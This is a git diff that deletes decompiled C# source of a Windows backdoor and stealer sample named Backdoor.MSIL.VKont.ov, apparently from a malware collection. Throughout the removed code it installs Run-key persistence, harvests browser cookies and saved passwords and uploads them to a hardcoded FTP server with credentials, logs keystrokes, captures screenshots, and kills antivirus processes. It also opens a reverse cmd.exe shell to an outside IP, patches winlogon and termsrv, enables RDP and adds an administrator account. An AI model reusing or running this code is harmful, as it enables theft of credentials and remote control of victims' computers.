- new Thread((ThreadStart) (() => Program.proces("avp"))),
- null
- };
- threadArray[0].Start();
- threadArray[1] = new Thread((ThreadStart) (() => Program.proces("Skype")));
- threadArray[1].Start();
- new Thread((ThreadStart) (() => Program.Backdoor())).Start();
- }
- }
- catch
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
- registryKey.SetValue("C:\\Users\\media\\Desktop\\Cтилер\\erer.exe", (object) Application.ExecutablePath);
- registryKey.SetValue("C:/Windows\\erer.exe", (object) "C:/Windows\\erer.exe");
- System.IO.File.Copy(Application.ExecutablePath, "C:/Windows\\erer.exe");
- new Thread((ThreadStart) (() =>
- {
- Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "wand.dat", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "New_Srealer");
- Program.CreatFileIEforXP("False", "True", "New_Srealer");
- Program.CreatFileIEforVista("False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "*.bip", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "*.qip", "False", "True", "New_Srealer");
- })).Start();
- new Thread(new ThreadStart(Program.key)).Start();
- new Thread(new ThreadStart(Program.Screnn)).Start();
- Thread[] threadArray = new Thread[2]
- {
- new Thread((ThreadStart) (() => Program.proces("avp"))),
- null
- };
- threadArray[0].Start();
- threadArray[1] = new Thread((ThreadStart) (() => Program.proces("Skype")));
- threadArray[1].Start();
- new Thread((ThreadStart) (() => Program.Backdoor())).Start();
- }
- }
-
- public static void Backdoor()
- {
- try
- {
- Thread tsend = new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.processCmd = new Process();
- Program.processCmd.StartInfo.FileName = "cmd.exe";
- Program.processCmd.StartInfo.CreateNoWindow = true;
- Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- Program.processCmd.StartInfo.UseShellExecute = false;
- Program.processCmd.StartInfo.RedirectStandardOutput = true;
- Program.processCmd.StartInfo.RedirectStandardInput = true;
- Program.processCmd.StartInfo.RedirectStandardError = true;
- Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
- Program.processCmd.Start();
- Program.processCmd.BeginOutputReadLine();
- Program.strInput = new StringBuilder();
- try
- {
- while (true)
- {
- Program.strInput.Append(Program.streamReader.ReadLine());
- Program.strInput.Append("\n");
- Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
- Program.processCmd.StandardInput.Flush();
- Program.strInput.Remove(0, Program.strInput.Length);
- }
- }
- catch (Exception ex)
- {
- }
- }
- catch
- {
- }
- }));
- new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.socketForServer = new TcpClient("55.55.55.55", 80);
- Program.networkStream = Program.socketForServer.GetStream();
- Program.streamReader = new StreamReader((Stream) Program.networkStream);
- Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
- tsend.Start();
- }
- catch
- {
- }
- })).Start();
- }
- catch
- {
- }
- }
-
- private static void proc(object sender, DataReceivedEventArgs e)
- {
- StringBuilder stringBuilder = new StringBuilder();
- if (string.IsNullOrEmpty(e.Data))
- return;
- try
- {
- stringBuilder.Append(e.Data);
- Program.streamWriter.WriteLine((object) stringBuilder);
- Program.streamWriter.Flush();
- }
- catch
- {
- }
- }
-
- public static void FileP()
- {
- try
- {
- if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache"))
- {
- int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length;
- for (int index = 0; index < length; ++index)
- {
- try
- {
- System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]);
- }
- catch
- {
- }
- }
- }
- if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot"))
- return;
- for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1)
- {
- for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2)
- {
- FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]);
- try
- {
- Console.WriteLine(fileInfo.Name);
- fileInfo.Delete();
- --index2;
- }
- catch
- {
- }
- }
- }
- }
- catch
- {
- }
- }
-
- public static void RegConfig()
- {
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
- registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
- registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
- registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
- registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String);
- RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true);
- registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
- registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
- registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
- registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
- registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
- registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
- registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
- registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
- registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- }
-
- public static void RDP_M()
- {
- }
-
- public static void WinLogon()
- {
- try
- {
- if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
- return;
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp");
- FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open);
- byte[] buffer = new byte[fileStream.Length];
- fileStream.Read(buffer, 0, (int) fileStream.Length);
- buffer[94] = (byte) 110;
- buffer[173347] = (byte) 85;
- buffer[173348] = (byte) 139;
- buffer[173349] = (byte) 236;
- buffer[173437] = (byte) 139;
- buffer[173438] = byte.MaxValue;
- buffer[173439] = (byte) 85;
- BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
- binaryWriter.Write(buffer);
- binaryWriter.Close();
- fileStream.Close();
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- }
- else
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- }
- catch
- {
- }
- }
-
- public static void TermSrv()
- {
- string str = Program.TimeNow();
- try
- {
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- }
- else
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
- System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
-
- public static void CreateUser(string UserName, string Password)
- {
- try
- {
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
- DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
- directoryEntry2.Invoke("SetPassword", (object) Password);
- directoryEntry2.CommitChanges();
- try
- {
- directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- try
- {
- directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- }
- }
- DirectoryEntry directoryEntry3;
- try
- {
- directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- directoryEntry3.Close();
- directoryEntry1.Close();
- directoryEntry2.Close();
- }
- catch
- {
- }
- }
-
- private static void proces(string proc)
- {
- bool flag = true;
- try
- {
- while (flag)
- {
- Application.DoEvents();
- Process[] processArray = (Process[]) null;
- for (int index = 0; index < processArray.Length; ++index)
- {
- processArray = Process.GetProcesses();
- Thread.Sleep(20);
- if (processArray[index].ProcessName == proc)
- {
- processArray[index].Kill();
- flag = false;
- }
- }
- }
- }
- catch
- {
- }
- }
-
- private static void key()
- {
- try
- {
- Thread.Sleep(100);
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Program._hookID = Program.SetHook(Program._proc);
- Application.Run();
- Program.UnhookWindowsHookEx(Program._hookID);
- }
- catch
- {
- }
- }
-
- private static void Screnn()
- {
- Thread[] threadArray = new Thread[51];
- for (int index = 1; index <= 5; ++index)
- {
- Thread.Sleep(TimeSpan.FromSeconds(60.0));
- string time = Program.TimeNow();
- new Program.ScreenShotDll().CaptureScreen("win32" + time + ".Jpeg", ImageFormat.Jpeg);
- try
- {
- threadArray[index] = new Thread((ThreadStart) (() =>
- {
- string str = time;
- if (!Program.CherezShto("win32" + str + ".Jpeg", "False", "True", "New_Stealer_Jpeg"))
- return;
- new FileInfo("win32" + str + ".Jpeg").Delete();
- }));
- threadArray[index].Start();
- }
- catch
- {
- }
- }
- }
-
- private static bool buffDlin()
- {
- int length = "null".Length;
- return true;
- }
-
- private static bool buffZ()
- {
- Program.buflyb = (string) null;
- int length = "null".Length;
- return true;
- }
-
- private static bool buffCritery() => Program.buffZ();
-
- private static void strBuffer()
- {
- bool flag = true;
- while (true)
- {
- do
- {
- IDataObject dataObject;
- do
- {
- do
- {
- Application.DoEvents();
- Thread.Sleep(100);
- }
- while (!flag);
- dataObject = Clipboard.GetDataObject();
- }
- while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
- Program.strbug = (string) dataObject.GetData(DataFormats.Text);
- }
- while (!flag || !Program.buffCritery());
- Clipboard.SetDataObject((object) "null");
- }
- }
-
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-
- public class ScreenShotDll
- {
- public void CaptureScreen(string fileName, ImageFormat imageFormat)
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- this.SaveImageAs(compatibleBitmap, fileName, imageFormat);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- }
-
- public Bitmap CaptureScreen()
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- Bitmap image = this.GetImage(compatibleBitmap);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- return image;
- }
-
- private void Cleanup(int hBitmap, int hdcSrc, int hdcDest)
- {
- Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc);
- Program.GDI32.DeleteDC(hdcDest);
- Program.GDI32.DeleteObject(hBitmap);
- }
-
- private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat);
-
- private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height);
- }
-
- private class User32
- {
- [DllImport("User32.dll")]
- public static extern int GetDesktopWindow();
-
- [DllImport("User32.dll")]
- public static extern int GetWindowDC(int hWnd);
-
- [DllImport("User32.dll")]
- public static extern int ReleaseDC(int hWnd, int hDC);
- }
-
- private class GDI32
- {
- [DllImport("GDI32.dll")]
- public static extern bool BitBlt(
- int hdcDest,
- int nXDest,
- int nYDest,
- int nWidth,
- int nHeight,
- int hdcSrc,
- int nXSrc,
- int nYSrc,
- int dwRop);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteObject(int hObject);
-
- [DllImport("GDI32.dll")]
- public static extern int GetDeviceCaps(int hdc, int nIndex);
-
- [DllImport("GDI32.dll")]
- public static extern int SelectObject(int hdc, int hgdiobj);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.csproj
deleted file mode 100644
index 258e7ab1..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.csproj
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}
- Exe
- VK
- 0.0.0.0
- Troj
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.sln
deleted file mode 100644
index 392850c8..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VK", "Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732.csproj", "{9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Program.cs
deleted file mode 100644
index e767167c..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Program.cs
+++ /dev/null
@@ -1,895 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Troj.Program
-// Assembly: VK, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 64278B1C-A059-4FC3-9B7E-17F3FB265C20
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732.exe
-
-using Microsoft.Win32;
-using System;
-using System.Diagnostics;
-using System.DirectoryServices;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Net;
-using System.Net.Mail;
-using System.Net.Sockets;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace Troj
-{
- public class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 256;
- private static int svsex;
- private static int sdosta;
- private static string logkey;
- private static int keycount = 0;
- private static Thread[] thkey;
- private static Thread[] tcherez;
- private static int cerezcount = 0;
- private static int keyI;
- private static string strbug;
- private static string strbuftx;
- private static string buflyb;
- private static int ftpi;
- private static int countGroup = 0;
- private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
- private static IntPtr _hookID = IntPtr.Zero;
- private static Thread th;
- private static TcpClient socketForServer;
- private static NetworkStream networkStream;
- private static StreamWriter streamWriter;
- private static StreamReader streamReader;
- private static Process processCmd;
- private static StringBuilder strInput;
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(
- int idHook,
- Program.LowLevelKeyboardProc lpfn,
- IntPtr hMod,
- uint dwThreadId);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(
- IntPtr hhk,
- int nCode,
- IntPtr wParam,
- IntPtr lParam);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
-
- [DllImport("user32.dll")]
- public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
-
- [DllImport("user32.dll")]
- private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
-
- private static void SearchAll(
- string disk,
- string n_file,
- string smail,
- string sftp,
- string spapka)
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(disk);
- try
- {
- foreach (DirectoryInfo directory in directoryInfo.GetDirectories())
- {
- try
- {
- foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
- Program.CherezShto(file.FullName, smail, sftp, spapka);
- }
- catch
- {
- }
- Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
- }
- }
- catch
- {
- }
- }
-
- private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
- {
- using (Process currentProcess = Process.GetCurrentProcess())
- {
- using (ProcessModule mainModule = currentProcess.MainModule)
- return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
- }
- }
-
- private static string TimeNow()
- {
- DateTime now = DateTime.Now;
- return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
- }
-
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- Program.thkey = new Thread[128];
- if (nCode >= 0 && wParam == (IntPtr) 256)
- {
- int num = Marshal.ReadInt32(lParam);
- if (num == 13)
- {
- Program.logkey += "\n";
- }
- else
- {
- ++Program.sdosta;
- ++Program.svsex;
- Program.logkey = Program.logkey + (object) (Keys) num + ";";
- if (Program.sdosta == 30)
- {
- Program.sdosta = 0;
- string time = Program.TimeNow();
- try
- {
- StreamWriter streamWriter = new StreamWriter("Текстовый документ" + time + ".txt");
- streamWriter.Write(Program.logkey);
- streamWriter.Close();
- Program.thkey[Program.keycount] = new Thread((ThreadStart) (() =>
- {
- if (!Program.CherezShto("Текстовый документ" + time + ".txt", "False", "True", "ГЕНЕРАТОР"))
- ;
- }));
- Program.thkey[Program.keycount].Start();
- ++Program.keycount;
- }
- catch
- {
- }
- if (Program.keycount > 120)
- Program.keycount = 0;
- Program.logkey = (string) null;
- }
- }
- }
- return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
- }
-
- public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
- {
- try
- {
- foreach (string logicalDrive in Directory.GetLogicalDrives())
- Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
- {
- if (nmail == "True" || nmail == "true")
- Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false);
- if (nftp == "True" || nmail == "true")
- Program.Upload_ftp(strfile, "kot3290.aiq.ru", "u321582", "1lkm07p2", pftp);
- return true;
- }
-
- public static void CreatFileIEforXP(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists("D:\\ГЕНЕРАТОР"))
- System.IO.File.Delete("D:\\ГЕНЕРАТОР");
- try
- {
- string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\");
- string[] strArray1 = new string[directories1.Length];
- for (int index1 = 0; index1 < directories1.Length; ++index1)
- {
